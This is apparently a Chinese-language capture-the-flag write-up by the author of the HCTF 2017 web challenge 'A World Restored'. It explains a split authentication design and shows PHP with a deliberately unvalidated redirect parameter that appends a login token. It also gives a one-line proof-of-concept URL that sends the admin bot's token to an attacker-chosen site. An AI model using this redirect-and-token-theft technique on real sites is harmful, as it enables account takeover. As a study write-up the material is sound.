A World Restored

发表于 2021-01-21 分类于 Challenge， 2017， HCTF， Web
Challenge | 2017 | HCTF | Web | A World Restored

点击此处获得更好的阅读体验

WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

解题思路

```
1  A World Restored
2  Description:
3  nothing here or all the here ps:flag in admin cookie
4  flag is login as admin
5  URL http://messbox.2017.hctf.io
6  Now Score 674.44
7  Team solved 7
8
9  A World Restored Again
10 Description:
11 New Challenge !!
12 hint: flag only from admin bot
13 URL http://messbox.2017.hctf.io
14 Now Score 702.6
15 Team solved 6
```

A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html，为了能尽可能的模拟真实环境，我这个不专业的Web开发只能强行上手实现站库分离。

其中的一部分非预期，也都是因为站库分离实现的不好而导致的。（更开放的题目环境，导致了很多可能，或许这没什么不好的？

整个站的结构是这样的： 1、auth站负责用户数据的处理，包括登陆验证、注册等，是数据库所在站。 2、messbox站负责用户的各种操作，但不连接数据库。

这里auth站与messbox站属于两个完全不同的域，受到同源策略的影响，我们就需要有办法来沟通两个站。

而这里，我选择使用token做用户登陆的校验+jsonp来获取用户数据。站点结构如下:

简单来说就是，messbox登陆账号完全受到token校验，即使你在完全不知道账号密码的情况下，获取该token就可以登陆账号。

那么怎么获取token登陆admin账号就是第一题。

而第二题，漏洞点就是上面文章中写的那样，反射性的domxss，可以得到服务端的flag。

为了两个flag互不干扰，我对服务端做了一定的处理，服务端负责处理flag的代码如下：

```
1  $flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
2  $flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
3
4  if(!empty($_SESSION['user'])){
5      if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
6                  setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
7          }
8
9      if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
10         setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
11     }
12 }
```

可以很明显的看出来，flag1是httponly并在messbox域下，只能登陆才能查看。flag2我设置了check位，只有bot才会访问这个页面，这样只有通过反射性xss，才能得到flag。

下面我们回到题目

这道题目在比赛结束时，只有7只队伍最终完成了，非常出乎我的意料，因为漏洞本身非常有意思。（这个漏洞是ROIS发现的）

为了能够实现token，我设定了token不可逆的二重验证策略，但是在题目中我加入了一个特殊的接口，让我们回顾一下。

auth域中的login.php，我加入了这样一段代码

```
if(!empty($_GET['n_url'])){
        $n_url = trim($_GET['n_url']);
        echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
        exit;
    }else{
        // header("location: http://messbox.hctf.com?token=".$usertoken);
        echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>";
        exit;
    }
```

这段代码也是两个漏洞的核心漏洞点，假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面，那么因为未登录，页面会跳转到auth域并携带n_url，如果获取到登陆状态，这里就会拼接token传回messbox域，并赋予登陆状态。

简单的流程如下：

```
`未登录->获取当前URL->跳转至auth->获取登陆状态->携带token跳转到刚才获取的URL->messbox登陆成功`
```

当然，这其中是有漏洞的。

服务端bot必然登陆了admin账号，如果我们直接请求login.php并制定下一步跳转的URL，那么我们就可以获取拼接上的token！

poc `http://auth.2017.hctf.io/login.php?n_url=http://{you_website}`

得到token我们就可以登陆messbox域，成功登陆admin

Flag

```
无
```

- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2017/HCTF/Web/ukhEhkTBxgDL5Mr2WeLSAg.html
- **版权声明：** 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

Challenge # Web # 2017 # HCTF
poker-poker
A World Restored Again